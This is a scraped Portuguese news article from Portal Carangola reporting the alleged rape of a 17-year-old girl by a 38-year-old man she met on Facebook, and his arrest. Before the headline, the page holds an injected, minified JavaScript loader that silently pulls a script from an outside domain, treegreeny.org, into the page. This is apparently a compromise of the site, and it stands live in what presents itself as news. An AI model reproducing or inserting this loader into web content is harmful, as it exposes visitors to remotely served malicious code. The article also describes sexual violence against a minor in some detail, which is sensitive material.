;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); CARANGOLA (MG) – Uma adolescente de 17 anos foi estuprada por um homem de 38 anos após marcar um encontro com o suspeito pelas redes sociais. - Portal Carangola

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CARANGOLA (MG) – Uma adolescente de 17 anos foi estuprada por um homem de 38 anos após marcar um encontro com o suspeito pelas redes sociais.

O caso foi registrado em Carangola, na Zona da Mata, nessa segunda-feira (9).

A menina contou aos policiais que o suspeito enviou uma solicitação de amizade pelo Facebook e se aproximou falando que ela estava muito bonita. Após vários dias se comunicando, os dois marcaram de se encontrar. No entanto, a adolescente aceitou sair com o homem somente para conversarem.  O suspeito, porém, deu bebida alcoólica para a menina e a levou para a casa da irmã dele, que estava vazia. No local, ele fez com que ela ingerisse ainda mais bebida. Depois, começou a ameaçar a menina. O homem disse a ela que tinha um revólver e que era amigo de criminosos da Favela da Rocinha, no Rio de Janeiro. Ele alegou que se a adolescente não fizesse sexo com ele, chamaria os ‘amigos’ para estuprá-la.

Após abusar da menina, o homem a obrigou a desbloquear o celular e começou a enviar mensagens do aparelho dela para o dele. Segundo o suspeito, isso serviria para inocentá-lo. Logo depois, ele estuprou a vítima novamente, enquanto a adolescente chorava pedindo para que parasse.

Pela manhã, o suspeito liberou a menina, mas a ameaçou de morte caso ela contasse o que aconteceu. A adolescente procurou a polícia e relatou os abusos. Os militares encontraram o suspeito na casa da mãe dele, onde recebeu voz de prisão.

O homem negou ter cometido o crime. Na versão dele, os dois apenas se encontraram e não tiveram relações sexuais. O suspeito ainda alegou que levou a adolescente para a casa de uma amiga e que somente pela manhã recebeu uma mensagem para que ele fosse buscá-la. As investigações continuam.

Do Jornal O Tempo

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